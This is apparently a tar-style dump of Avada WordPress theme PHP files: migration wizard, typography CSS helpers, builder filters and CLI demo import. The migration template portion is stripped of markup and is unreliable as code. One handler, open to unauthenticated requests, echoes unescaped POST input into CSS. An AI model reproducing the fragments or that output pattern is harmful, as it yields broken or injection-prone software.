) { wp_raise_memory_limit(); } $time_limit = ini_get( 'max_execution_time' ); if ( 300 > $time_limit && 0 != $time_limit ) { @set_time_limit( 0 ); } } $this->available_languages = Fusion_Multilingual::get_available_languages(); $this->active_language = Fusion_Multilingual::get_active_language(); $this->default_language = Fusion_Multilingual::get_default_language(); // If English is used then make this first in array order. Also set starting language so that it is migrated first. if ( in_array( 'en', $this->available_languages ) ) { $en_array = [ 'en' ]; $en_key = array_search( 'en', $this->available_languages ); $available_languages_no_en = $this->available_languages; unset( $available_languages_no_en[ $en_key ] ); $this->available_languages = array_merge( $en_array, $available_languages_no_en ); $this->starting_language = 'en'; } else { // If not English then make default language first in array order. Also set it to be starting language for migration. $default_array = [ $this->default_language ]; $default_key = array_search( $this->default_language, $this->available_languages ); $available_languages_no_default = $this->available_languages; unset( $available_languages_no_default[ $default_key ] ); $this->available_languages = array_merge( $default_array, $available_languages_no_default ); $this->starting_language = $this->default_language; } if ( $_GET && isset( $_GET['avada_update'] ) ) { // Only continue if the URL is ?avada_update=1. if ( '1' != $_GET['avada_update'] ) { return; } // Only continue if we're updating to version 4.0.0. if ( ! isset( $_GET['ver'] ) || ( $this->version != $_GET['ver'] ) ) { return; } // Get the current step. if ( ! isset( $_GET['step'] ) ) { $this->step = 0; } else { $this->step = intval( $_GET['step'] ); } if ( isset( $_GET['proceed'] ) && '0' == $_GET['proceed'] ) { $this->proceed = false; } $_get_lang = ( isset( $_GET['lang'] ) ) ? sanitize_text_field( wp_unslash( $_GET['lang'] ) ) : ''; if ( isset( $_GET['lang'] ) && ! in_array( $_get_lang, [ '', 'en', 'all', null ] ) ) { Fusion_Multilingual::set_active_language( $_get_lang ); } $this->options = get_option( Avada::get_option_name(), [] ); $this->fields = Avada_Options::get_option_fields(); add_action( 'admin_init', [ $this, 'migrate_page' ] ); } } /** * The migration page. * * @access public */ public function migrate_page() { ob_start(); $this->setup_wizard_template(); if ( isset( $this->steps[ $this->step ] ) && isset( $this->steps[ $this->step ]['callback'] ) ) { call_user_func( $this->steps[ $this->step ]['callback'] ); } // Make sure we have not finished. if ( $this->step >= count( $this->steps ) - 1 ) { if ( empty( $this->available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) { $this->finished(); } } exit; } /** * Output the content for the current step. */ public function setup_wizard_template() { $current_step = intval( $this->step ); ?> > <?php esc_html_e( 'Avada Global Options Migration', 'Avada' ); ?>
    available_languages ) ) { /* translators: Version number. */ printf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Global Options Panel and the brand new Avada Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Global Options database entries need to be converted (sequentially for each language, if you have a multi-lingual site). In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) ); } else { /* translators: Version number. */ printf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Global Options Panel and the brand new Avada Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Global Options database entries need to be converted. In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) ); } ?>

    available_languages ) ) : ?> ' . esc_attr( $this->active_language ) . '
    ' ); ?> = count( $this->steps ) ) : ?>

    = ( count( $this->steps ) * 0.75 ) ) : ?>

    = ( count( $this->steps ) * 0.4 ) ) : ?>

    available_languages ) && 1 < count( $this->available_languages ) ) : ?> active_language, $this->available_languages ) + 1; ?>

    available_languages ) ); ?>

    steps ) && isset( $this->steps[ $this->step ] ) ) : ?>

    step + 1 ), count( $this->steps ) ); ?>

      steps as $key => $step ) : ?>
    available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>

    step ) >= count( $this->steps ) ) : ?> available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>
    redirect_script(); // phpcs:ignore WordPress.Security.EscapeOutput ?>
    available_languages; $current_step = intval( $this->step ); $next_step = $current_step + 1; // Add 500ms delay for refreshes. $delay = 500; if ( ( $current_step + 1 ) <= count( $this->steps ) && $this->proceed ) { // Redirect to next step. $lang = ( isset( $_GET['lang'] ) ) ? sanitize_text_field( wp_unslash( $_GET['lang'] ) ) : ''; return ''; } else { // Check if this is a multilingual site. if ( ! empty( $languages ) ) { // Get the next language code. $next_lang = $this->get_next_language(); if ( 'finished' === $next_lang ) { return; } return ''; } } } /** * Gets the next language in multilingual sites. * * @access public * @return string */ public function get_next_language() { // Get all languages. $languages = $this->available_languages; // Get the current language key. if ( $_GET && isset( $_GET['lang'] ) ) { $current_lang_code = ( isset( $_GET['lang'] ) ) ? sanitize_text_field( wp_unslash( $_GET['lang'] ) ) : ''; $current_lang_key = (int) array_search( $current_lang_code, $languages ); if ( false === $current_lang_key ) { $current_lang_key = null; } } else { $current_lang_key = null; } // If no language is currently defined, then proceed to 0. if ( null === $current_lang_key ) { $next_lang_key = 0; } else { // Proceed to next language. $next_lang_key = $current_lang_key + 1; } // Check if this key exists in the array. // If not, then proceed to the next one. if ( ! isset( $languages[ $next_lang_key ] ) ) { $next_lang_key++; } // If the next language is "en" skip it. if ( isset( $languages[ $next_lang_key ] ) && 'en' == $languages[ $next_lang_key ] ) { $next_lang_key++; } // Check if we're finished. // If yes, then return "finished". if ( $next_lang_key >= count( $languages ) ) { return 'finished'; } // Return the code of the next language. return esc_attr( $languages[ $next_lang_key ] ); } /** * Debug helper. * Creates an `avada-migration-debug.log` file in wp-content. * * @static * @access public * @param array $data The setting data. */ public static function generate_debug_log( $data = [] ) { $debug_log = ''; $debug_content = ''; $debug_file_path = WP_CONTENT_DIR . '/avada-migration-debug.log'; if ( defined( 'AVADA_MIGRATION_DEBUG_LOG' ) && AVADA_MIGRATION_DEBUG_LOG ) { if ( ! empty( $data ) ) { $final_data = []; foreach ( $data as $item ) { $final_data[] = ( is_array( $item ) ) ? wp_json_encode( $item ) : $item; } $debug_log .= 'Old Setting: ' . $final_data[0] . "\r\n"; $debug_log .= 'New Setting: ' . $final_data[1] . "\r\n"; $debug_log .= 'Old Value: ' . $final_data[2] . "\r\n"; $debug_log .= 'New Value: ' . $final_data[3] . "\r\n"; $debug_log .= "\r\n"; } // Write debug file contents. if ( file_exists( $debug_file_path ) ) { $debug_content = fusion_file_get_contents( $debug_file_path ); } $debug_content .= $debug_log; file_put_contents( $debug_file_path, $debug_content ); // phpcs:ignore WordPress.WP.AlternativeFunctions } } } Avada/includes/dynamic-css-helpers.php000064400000052306152342437700013766 0ustar00 $label ) { // Make sure we have some files to work with. $process = false; foreach ( [ 'woff2', 'woff', 'ttf', 'eot', 'svg' ] as $filetype ) { if ( ! $process && isset( $custom_fonts[ $filetype ] ) && isset( $custom_fonts[ $filetype ][ $key ] ) ) { $process = true; } } // If we don't have any files to process then skip this item. if ( ! $process || empty( $label ) ) { continue; } $firstfile = true; $font_face .= '@font-face{'; $font_face .= 'font-family:'; // If font-name has a space, then it must be wrapped in double-quotes. if ( false !== strpos( $label, ' ' ) ) { $font_face .= '"' . $label . '";'; } else { $font_face .= $label . ';'; } // Start adding sources. $font_face .= 'src:'; // Add .woff2 file. if ( isset( $custom_fonts['woff2'] ) && isset( $custom_fonts['woff2'][ $key ]['url'] ) && isset( $custom_fonts['woff2'][ $key ]['url'] ) && '' !== $custom_fonts['woff2'][ $key ]['url'] ) { $font_face .= 'url("' . str_replace( [ 'http://', 'https://' ], '//', $custom_fonts['woff2'][ $key ]['url'] ) . '") format("woff2")'; $firstfile = false; } // Add .woff file. if ( isset( $custom_fonts['woff'] ) && isset( $custom_fonts['woff'][ $key ] ) && isset( $custom_fonts['woff'][ $key ]['url'] ) && '' !== $custom_fonts['woff'][ $key ]['url'] ) { $font_face .= ( $firstfile ) ? '' : ','; $font_face .= 'url("' . str_replace( [ 'http://', 'https://' ], '//', $custom_fonts['woff'][ $key ]['url'] ) . '") format("woff")'; $firstfile = false; } // Add .ttf file. if ( isset( $custom_fonts['ttf'] ) && isset( $custom_fonts['ttf'][ $key ] ) && isset( $custom_fonts['ttf'][ $key ]['url'] ) && '' !== $custom_fonts['ttf'][ $key ]['url'] ) { $font_face .= ( $firstfile ) ? '' : ','; $font_face .= 'url("' . str_replace( [ 'http://', 'https://' ], '//', $custom_fonts['ttf'][ $key ]['url'] ) . '") format("truetype")'; $firstfile = false; } // Add .eot file. if ( isset( $custom_fonts['eot'] ) && isset( $custom_fonts['eot'][ $key ] ) && isset( $custom_fonts['eot'][ $key ]['url'] ) && '' !== $custom_fonts['eot'][ $key ]['url'] ) { $font_face .= ( $firstfile ) ? '' : ','; $font_face .= 'url("' . str_replace( [ 'http://', 'https://' ], '//', $custom_fonts['eot'][ $key ]['url'] ) . '?#iefix") format("embedded-opentype")'; $firstfile = false; } // Add .svg file. if ( isset( $custom_fonts['svg'] ) && isset( $custom_fonts['svg'][ $key ] ) && isset( $custom_fonts['svg'][ $key ]['url'] ) && '' !== $custom_fonts['svg'][ $key ]['url'] ) { $font_face .= ( $firstfile ) ? '' : ','; $font_face .= 'url("' . str_replace( [ 'http://', 'https://' ], '//', $custom_fonts['svg'][ $key ]['url'] ) . '") format("svg")'; $firstfile = false; } $font_face_display = Avada()->settings->get( 'font_face_display' ); $font_face_display = ( 'block' === $font_face_display ) ? 'block' : 'swap'; $font_face .= ';font-weight: normal;font-style: normal;'; $font_face .= 'font-display: ' . $font_face_display . ';'; $font_face .= '}'; } } return $font_face . $css; } add_filter( 'avada_dynamic_css', 'avada_custom_fonts_font_faces' ); /** * Ajax function to add custom fonts using @font-face. * * @return void */ function avada_custom_fonts_font_faces_ajax() { if ( isset( $_POST['custom_fonts'] ) ) { check_ajax_referer( 'fusion_load_nonce', 'fusion_load_nonce' ); $custom_fonts = wp_unslash( $_POST['custom_fonts'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput echo avada_custom_fonts_font_faces( '', $custom_fonts ); // phpcs:ignore WordPress.Security.EscapeOutput } wp_die(); } add_action( 'wp_ajax_avada_custom_fonts_font_faces', 'avada_custom_fonts_font_faces_ajax' ); add_action( 'wp_ajax_nopriv_avada_custom_fonts_font_faces', 'avada_custom_fonts_font_faces_ajax' ); /** * Avada body, h1, h2, h3, h4, h5, h6 typography. */ /** * CSS classes that inherit Avada's body typography settings. * * @return array */ function avada_get_body_typography_elements() { $typography_elements = []; // CSS classes that inherit body font size. $typography_elements['size'] = [ 'body', '.sidebar .slide-excerpt h2', '.fusion-footer-widget-area .slide-excerpt h2', '#slidingbar-area .slide-excerpt h2', '.jtwt .jtwt_tweet', '.sidebar .jtwt .jtwt_tweet', '.project-content .project-info h4', '.fusion-project-details-tb .project-info h4', '.gform_wrapper label', '.gform_wrapper .gfield_description', '.fusion-footer-widget-area ul', '#slidingbar-area ul', '.fusion-blog-layout-timeline .fusion-timeline-date', '.review blockquote q', '.fusion-body .tribe-common .tribe-common-b2', '.fusion-body .tribe-common .tribe-common-b3', '.fusion-body #main .tribe-events .datepicker', ]; // CSS classes that inherit body font color. $typography_elements['color'] = [ 'body', '.post .post-content', '.sidebar .jtwt', '.fusion-body .fusion-wrapperr .meta', '.review blockquote div', '.search input', '.project-content .project-info h4', '.fusion-project-details-tb .project-info h4', '.title-row', '.fusion-rollover .price .amount', '.fusion-blog-timeline-layout .fusion-timeline-date', '.sidebar .widget_nav_menu li', '.sidebar .widget_categories li', '.sidebar .widget_product_categories li', '.sidebar .widget_meta li', '.sidebar .widget .recentcomments', '.sidebar .widget_recent_entries li', '.sidebar .widget_archive li', '.sidebar .widget_pages li', '.sidebar .widget_links li', '.sidebar .widget_layered_nav li', '.sidebar .widget_product_categories li', '.fusion-main-menu .fusion-custom-menu-item-contents', '.fusion-body .tribe-block__tickets__registration__tickets__header', '.fusion-body .tribe-events .tribe-events-calendar-list__event-datetime', '.fusion-body .tribe-common .tribe-common-b2', '.fusion-body .tribe-common .tribe-common-b3', '.fusion-body .fusion-wrapper #main .tribe-common .tribe-common-h6--min-medium', '.fusion-body #main .tribe-common .tribe-events-c-day-marker__date', ]; // CSS classes that inherit body font. $typography_elements['family'] = [ 'body', '#nav ul li ul li a', '#sticky-nav ul li ul li a', '.more', '.avada-container h3', '.meta .fusion-date', '.review blockquote q', '.review blockquote div strong', '.fusion-load-more-button', '.ei-title h3', '.comment-form input[type="submit"]', '.fusion-page-title-captions h3', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content a', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .price', '#wrapper #nav ul li ul li > a', '#wrapper #sticky-nav ul li ul li > a', '.ticket-selector-submit-btn[type=submit]', '.gform_page_footer input[type=button]', '.fusion-main-menu .sub-menu', '.fusion-main-menu .sub-menu li a', '.fusion-megamenu-wrapper li .fusion-megamenu-title-disabled', '.fusion-megamenu-wrapper .fusion-megamenu-submenu > a:hover', '.fusion-megamenu-widgets-container', '.fusion-body .tribe-common .tribe-common-b2', '.fusion-body .tribe-common .tribe-common-b3', '.fusion-body .fusion-wrapper #main .tribe-common .tribe-common-h6--min-medium', '.fusion-body #main .tribe-common .tribe-events-c-day-marker__date', '.fusion-body #main .tribe-events .datepicker', ]; // CSS classes that inherit body font. $typography_elements['line-height'] = [ 'body', '#nav ul li ul li a', '#sticky-nav ul li ul li a', '.more', '.avada-container h3', '.meta .fusion-date', '.review blockquote q', '.review blockquote div strong', '.ei-title h3', '.comment-form input[type="submit"]', '.fusion-page-title-captions h3', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content a', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .price', '#wrapper #nav ul li ul li > a', '#wrapper #sticky-nav ul li ul li > a', '.single-tribe_events #tribe-events-content .tribe-events-event-meta dt', '.ticket-selector-submit-btn[type=submit]', '.gform_page_footer input[type=button]', '.fusion-main-menu .sub-menu', '.fusion-main-menu .sub-menu li a', '.fusion-megamenu-wrapper li .fusion-megamenu-title-disabled', '.fusion-megamenu-wrapper .fusion-megamenu-submenu > a:hover', '.fusion-megamenu-widgets-container', '.fusion-accordian .panel-body', '#side-header .fusion-contact-info', '#side-header .header-social .top-menu', '.fusion-body .tribe-common .tribe-common-b2', '.fusion-body .tribe-common .tribe-common-b3', '.fusion-body .fusion-wrapper #main .tribe-common .tribe-common-h6--min-medium', '.fusion-body #main .tribe-common .tribe-events-c-day-marker__date', ]; return $typography_elements; } /** * CSS classes that inherit Avada's H1 typography settings. * * @return array */ function avada_get_h1_typography_elements() { $typography_elements = []; // CSS classes that inherit h1 size. $typography_elements['size'] = [ 'h1', '.post-content h1', '.fusion-modal h1', '.fusion-widget-area h1', '.search-page-search-form h1', '.fusion-tb-page-title-bar h1', '.fusion-tb-footer h1', ]; // CSS classes that inherit h1 font family. $typography_elements['family'] = [ 'h1', '.post-content h1', '.fusion-page-title-bar h1', '.fusion-modal h1', '.fusion-widget-area h1', '.fusion-title h1', '.search-page-search-form h1', '.fusion-tb-page-title-bar h1', '.fusion-tb-footer h1', ]; // CSS classes that inherit h1 color. $typography_elements['color'] = [ 'h1', '.post-content h1', '.title h1', '.fusion-post-content h1', '.fusion-modal h1', '.fusion-widget-area h1', '.search-page-search-form h1', '.fusion-tb-page-title-bar h1', '.fusion-tb-footer h1', ]; return $typography_elements; } /** * CSS classes that inherit Avada's H2 typography settings. * * @return array */ function avada_get_h2_typography_elements() { $typography_elements = []; // CSS classes that inherit h2 size. $typography_elements['size'] = [ 'h2', '.post-content h2', '.post h2', 'h2.entry-title', ]; // CSS classes that inherit h2 color. $typography_elements['color'] = [ 'h2', '.search-page-search-form h2', '.fusion-post-content h2', ]; // CSS classes that inherit h2 font family. $typography_elements['family'] = [ 'h2', '.post h2', '.post-content h2', '.ei-title h2', '.main-flex .slide-content h2', ]; return $typography_elements; } /** * CSS classes that inherit Avada's H3 typography settings. * * @return array */ function avada_get_h3_typography_elements() { $typography_elements = []; // CSS classes that inherit h3 font family. $typography_elements['family'] = [ 'h3', '.post-content h3', '.project-content h3', '.sidebar .widget h3', '.main-flex .slide-content h3', '.fusion-author .fusion-author-title', '.fusion-header-tagline', ]; // CSS classes that inherit h3 size. $typography_elements['size'] = [ 'h3', '.post-content h3', '.project-content h3', '.fusion-widget-area h3', '.fusion-author .fusion-author-title', ]; // CSS classes that inherit h3 color. $typography_elements['color'] = [ 'h3', '.post-content h3', '.sidebar .widget h3', '.project-content h3', '.fusion-title h3', '.title h3', '.fusion-post-content h3', '.fusion-author .fusion-author-title', ]; // CSS classes that inherit body font. $typography_elements['line-height'] = [ '#tab-reviews #reviews #comments > h2', ]; return $typography_elements; } /** * CSS classes that inherit Avada's H4 typography settings. * * @return array */ function avada_get_h4_typography_elements() { $typography_elements = []; // CSS classes that inherit h4 size. $typography_elements['size'] = [ 'h4', '.post-content h4', '.fusion-rollover .fusion-rollover-content .fusion-rollover-title', '.fusion-carousel-title', '.fusion-tabs-widget .fusion-tabs-nav ul li a', '.fusion-theme-sharing-box h4', '.fusion-sharing-box h4', '.fusion-tabs .nav-tabs > li .fusion-tab-heading', '.fusion-widget-area h4', '.tribe-events-single ul.tribe-related-events li .tribe-related-events-title', ]; // CSS classes that inherit h4 color. $typography_elements['color'] = [ 'h4', '.post-content h4', '.project-content .project-info h4', '.fusion-project-details-tb .project-info h4', '.fusion-theme-sharing-box h4', '.fusion-title h4', '.title h4', '.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-nav ul li a', '.fusion-content-widget-area .fusion-tabs-widget .fusion-tabs-widget-content .fusion-date-box', '.fusion-carousel-title', '.fusion-tabs .nav-tabs > li .fusion-tab-heading', '.fusion-post-content h4', '.fusion-widget-area h4', '.tribe-events-single ul.tribe-related-events li .tribe-related-events-title', ]; // CSS classes that inherit h4 font family. $typography_elements['family'] = [ 'h4', '.post-content h4', 'table th', '.fusion-megamenu-title', '.fusion-carousel-title', '.fusion-tabs-widget .fusion-tabs-nav ul li a', '.fusion-theme-sharing-box h4', '.project-content .project-info h4', '.fusion-project-details-tb .project-info h4', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title', '.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-title a', '.fusion-widget-area h4', '.fusion-title h4', '.tribe-events-single ul.tribe-related-events li .tribe-related-events-title', ]; $typography_elements['line-height'] = [ 'h4', '.project-content .project-info .project-terms', '.fusion-project-details-tb .project-info .project-terms', '.project-info-box span', '.fusion-tb-page-title-bar h4', '.fusion-tb-footer h4', '.tribe-events-single ul.tribe-related-events li .tribe-related-events-title', ]; return $typography_elements; } /** * CSS classes that inherit Avada's H5 typography settings. * * @return array */ function avada_get_h5_typography_elements() { $typography_elements = []; // CSS classes that inherit h5 size. $typography_elements['size'] = [ 'h5', '.post-content h5', '.fusion-widget-area h5', ]; // CSS classes that inherit h5 color. $typography_elements['color'] = [ 'h5', '.post-content h5', '.fusion-title h5', '.title h5', '.fusion-post-content h5', '.fusion-widget-area h5', ]; // CSS classes that inherit h5 font family. $typography_elements['family'] = [ 'h5', '.post-content h5', '.fusion-widget-area h5', '.fusion-title h5', ]; return $typography_elements; } /** * CSS classes that inherit Avada's H6 typography settings. * * @return array */ function avada_get_h6_typography_elements() { $typography_elements = []; // CSS classes that inherit h6 size. $typography_elements['size'] = [ 'h6', '.post-content h6', '.fusion-widget-area h6', ]; // CSS classes that inherit h6 color. $typography_elements['color'] = [ 'h6', '.post-content h6', '.fusion-title h6', '.title h6', '.fusion-post-content h6', '.fusion-widget-area h6', ]; // CSS classes that inherit h6 font family. $typography_elements['family'] = [ 'h6', '.post-content h6', '.fusion-widget-area h6', '.fusion-title h6', ]; return $typography_elements; } /** * CSS classes that inherit Avada's post title typography settings. * * @return array */ function avada_get_post_title_typography_elements() { $typography_elements = []; // CSS classes that inherit post title size. $typography_elements['size'] = [ '#wrapper #main .post > h2.fusion-post-title', '#wrapper #main .post > .fusion-post-title-meta-wrap > h2.fusion-post-title', '#wrapper #main .fusion-post-content > .blog-shortcode-post-title', '#wrapper #main .fusion-post-content > h2.fusion-post-title', '#wrapper #main .fusion-portfolio-content > h2.fusion-post-title', '#wrapper #main .post > h1.fusion-post-title', '#wrapper #main .post > .fusion-post-title-meta-wrap > h1.fusion-post-title', '#wrapper #main .fusion-post-content > h1.fusion-post-title', '#wrapper #main .fusion-portfolio-content > h1.fusion-post-title', '.single-product #main .product h1.product_title', '.single-product #main .product h2.product_title', '#main .fusion-woocommerce-quick-view-container .product_title', ]; // CSS classes that inherit post title color. $typography_elements['color'] = [ '#wrapper #main .post > h2.fusion-post-title', '#wrapper #main .post > .fusion-post-title-meta-wrap > h2.fusion-post-title', '#wrapper #main .fusion-post-content > .blog-shortcode-post-title', '#wrapper #main .fusion-post-content > h2.fusion-post-title', '#wrapper #main .fusion-portfolio-content > h2.fusion-post-title', '#wrapper #main .post > h1.fusion-post-title', '#wrapper #main .post > .fusion-post-title-meta-wrap > h1.fusion-post-title', '#wrapper #main .fusion-post-content > h1.fusion-post-title', '#wrapper #main .fusion-portfolio-content > h1.fusion-post-title', ]; // CSS classes that inherit post title font family. $typography_elements['family'] = [ '#wrapper #main .post > h2.fusion-post-title', '#wrapper #main .post > .fusion-post-title-meta-wrap > h2.fusion-post-title', '#wrapper #main .fusion-post-content > .blog-shortcode-post-title', '#wrapper #main .fusion-post-content > h2.fusion-post-title', '#wrapper #main .fusion-portfolio-content > h2.fusion-post-title', '#wrapper #main .post > h1.fusion-post-title', '#wrapper #main .post > .fusion-post-title-meta-wrap > h1.fusion-post-title', '#wrapper #main .fusion-post-content > h1.fusion-post-title', '#wrapper #main .fusion-portfolio-content > h1.fusion-post-title', '.single-product #main .product h1.product_title', '.single-product #main .product h2.product_title', '#main .fusion-woocommerce-quick-view-container .product_title', ]; return $typography_elements; } /** * CSS classes that inherit Avada's post title extras typography settings. * * @return array */ function avada_get_post_title_extras_typography_elements() { $typography_elements = []; // CSS classes that inherit post title extra size. $typography_elements['size'] = [ '#wrapper #main .about-author .fusion-title h3', '#wrapper #main #comments .fusion-title h3', '#wrapper #main #respond .fusion-title h3', '#wrapper #main .related-posts .fusion-title h3', '#wrapper #main .related.products .fusion-title h3', '.woocommerce-container .up-sells .fusion-title h3', '#wrapper #main .about-author .fusion-title h2', '#wrapper #main #comments .fusion-title h2', '#wrapper #main #respond .fusion-title h2', '#wrapper #main .related-posts .fusion-title h2', '#wrapper #main .related.products .fusion-title h2', '.single-product .woocommerce-tabs .fusion-woocommerce-tab-title', '#tab-reviews #reviews #comments > h2', ]; // CSS classes that inherit post title extra color. $typography_elements['color'] = [ '#wrapper #main .about-author .fusion-title h3', '#wrapper #main #comments .fusion-title h3', '#wrapper #main #respond .fusion-title h3', '#wrapper #main .related-posts .fusion-title h3', '#wrapper #main .related.products .fusion-title h3', '.woocommerce-container .up-sells .fusion-title h3', '#wrapper #main .about-author .fusion-title h2', '#wrapper #main #comments .fusion-title h2', '#wrapper #main #respond .fusion-title h2', '#wrapper #main .related-posts .fusion-title h2', '#wrapper #main .related.products .fusion-title h2', '.single-product .woocommerce-tabs .fusion-woocommerce-tab-title', '#tab-reviews #reviews #comments > h2', ]; // CSS classes that inherit post title extra font family. $typography_elements['family'] = [ '#wrapper #main .about-author .fusion-title h3', '#wrapper #main #comments .fusion-title h3', '#wrapper #main #respond .fusion-title h3', '#wrapper #main .related-posts .fusion-title h3', '#wrapper #main .related.products .fusion-title h3', '.woocommerce-container .up-sells .fusion-title h3', '#wrapper #main .about-author .fusion-title h2', '#wrapper #main #comments .fusion-title h2', '#wrapper #main #respond .fusion-title h2', '#wrapper #main .related-posts .fusion-title h2', '#wrapper #main .related.products .fusion-title h2', '.single-product .woocommerce-tabs .fusion-woocommerce-tab-title', '#tab-reviews #reviews #comments > h2', ]; return $typography_elements; } Avada/includes/class-fusion-builder-filters.php000064400000012046152342437700015611 0ustar00 option map description array. * * @access private * @since 5.0.0 * @var array */ private static $shortcode_option_map_descriptions = []; /** * Access the single instance of this class. * * @static * @access public * @since 5.0.0 * @return Fusion_Builder_Filters */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new Fusion_Builder_Filters(); } return self::$instance; } /** * The class constructor. * * @access private */ private function __construct() { add_filter( 'fusion_builder_option_value', [ $this, 'set_builder_values' ], 10, 3 ); add_filter( 'fusion_builder_option_dependency', [ $this, 'set_builder_dependencies' ], 10, 3 ); add_filter( 'fusion_builder_width_hundred_percent', [ $this, 'is_post_width_hundred_percent' ] ); add_filter( 'fusion_button_extras', [ $this, 'custom_color_extras' ] ); } /** * Set the custom color schemes for button view. * * @access public * @since 6.0.0 * @param array $extras extra params for view. */ public function custom_color_extras( $extras ) { if ( get_option( 'avada_custom_color_schemes' ) ) { $extras['custom_color_schemes'] = get_option( 'avada_custom_color_schemes' ); } return $extras; } /** * Set builder defaults from TO where necessary. * * @access public * @since 5.0.0 * @param string $value value currently being used. * @param string $shortcode name of shortcode. * @param string $option name of option. * @return string new default from theme options. */ public function set_builder_values( $value, $shortcode, $option ) { $shortcode_option_map = []; // If needs custom color schemes, add in. if ( ( 'color' === $option && 'fusion_button' === $shortcode ) || ( 'buttoncolor' === $option && 'fusion_tagline_box' === $shortcode ) ) { return Avada()->settings->get_custom_color_schemes( $value ); } return $value; } /** * Set builder dependencies, for those which involve TO. * * @since 5.0.0 * @param array $dependencies currently active dependencies. * @param string $shortcode name of shortcode. * @param string $option name of option. * @return array dependency checks. */ public function set_builder_dependencies( $dependencies, $shortcode, $option ) { $shortcode_option_map = []; // Sharing box. $shortcode_option_map['icons_boxed_radius']['fusion_sharing'][] = [ 'check' => [ 'theme-option' => 'social_links_boxed', 'value' => '0', 'operator' => '==', ], 'output' => [ 'element' => 'icons_boxed', 'value' => '', 'operator' => '!=', ], ]; $shortcode_option_map['box_colors']['fusion_sharing'][] = [ 'check' => [ 'theme-option' => 'social_links_boxed', 'value' => '0', 'operator' => '==', ], 'output' => [ 'element' => 'icons_boxed', 'value' => '', 'operator' => '!=', ], ]; // If has TO related dependency, do checks. if ( isset( $shortcode_option_map[ $option ][ $shortcode ] ) && is_array( $shortcode_option_map[ $option ][ $shortcode ] ) ) { foreach ( $shortcode_option_map[ $option ][ $shortcode ] as $option_check ) { $option_value = Avada()->settings->get( $option_check['check']['theme-option'] ); $pass = false; // Check the result of check. if ( '==' === $option_check['check']['operator'] ) { $pass = (bool) ( $option_value == $option_check['check']['value'] ); // phpcs:ignore WordPress.PHP.StrictComparisons } if ( '!=' === $option_check['check']['operator'] ) { $pass = (bool) ( $option_value != $option_check['check']['value'] ); // phpcs:ignore WordPress.PHP.StrictComparisons } // If check passes then add dependency for checking. if ( $pass ) { $dependencies[] = $option_check['output']; } } } return $dependencies; } /** * Checks if the current post is set to 100% width. * * @return bool */ public function is_post_width_hundred_percent() { global $post; $post_type = get_post_type( $post ); switch ( $post_type ) { case 'avada_portfolio': return (bool) fusion_get_option( 'portfolio_width_100' ); case 'post': return (bool) fusion_get_option( 'blog_width_100' ); case 'product': return (bool) fusion_get_option( 'product_width_100' ); default: return ( 'yes' === fusion_data()->post_meta( $post->ID )->get( 'blog_width_100' ) ); } } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/cli/import-demo.php000064400000005460152342437700013116 0ustar00 $demo_details ) { $demo_import_stages = [ 'download' ]; $demo_content_types = []; if ( empty( $demo_details['plugin_dependencies'] ) ) { $demo_details['plugin_dependencies'] = []; } $demo_details['plugin_dependencies']['fusion-core'] = true; $demo_details['plugin_dependencies']['fusion-builder'] = true; // Build import stages for this demo. foreach ( $import_stages as $import_stage ) { if ( ! empty( $import_stage['plugin_dependency'] ) && empty( $demo_details['plugin_dependencies'][ $import_stage['plugin_dependency'] ] ) ) { continue; } if ( ! empty( $import_stage['feature_dependency'] ) && ! in_array( $import_stage['feature_dependency'], $demo_details['features'] ) ) { // phpcs:ignore WordPress.PHP.StrictInArray continue; } if ( isset( $import_stage['data'] ) && 'content' === $import_stage['data'] ) { $demo_content_types[] = $import_stage['value']; if ( false === in_array( 'content', $demo_import_stages, true ) ) { $demo_import_stages[] = 'content'; } } else { $demo_import_stages[] = $import_stage['value']; } } $demo_import_stages[] = 'general_data'; $demos[ $demo ]['import_stages'] = $demo_import_stages; $demos[ $demo ]['content_types'] = $demo_content_types; } $demo_type = 'classic'; if ( ! empty( $assoc_args['demo_type'] ) ) { $demo_type = $assoc_args['demo_type']; } // Build import args. $args = [ 'importStages' => $demos[ $demo_type ]['import_stages'], 'demoType' => $demo_type, 'fetchAttachments' => true, 'contentTypes' => $demos[ $demo_type ]['content_types'], 'allImport' => true, ]; // Import demo finally. if ( ! class_exists( 'Avada_Demo_Import' ) ) { include Avada::$template_dir_path . '/includes/importer/importer.php'; } $avada_import = new Avada_Demo_Import(); foreach ( $demos[ $demo ]['import_stages'] as $import_stage ) { echo 'Processing: ' . $import_stage . "\n"; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped $avada_import->import_demo_stage( $args ); // Remove processed import stage. array_shift( $args['importStages'] ); } WP_CLI::success( 'Demo imported.' ); }; if ( class_exists( 'WP_CLI' ) ) { WP_CLI::add_command( 'fusion demo import', $fusion_demo_import_cmd ); } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/cli/apply-patches.php000064400000004342152342437700013432 0ustar00 $patch_id ) { // Get an array of the already applied patches. $applied_patches = get_site_option( 'fusion_applied_patches', [] ); // Get an array of patches that 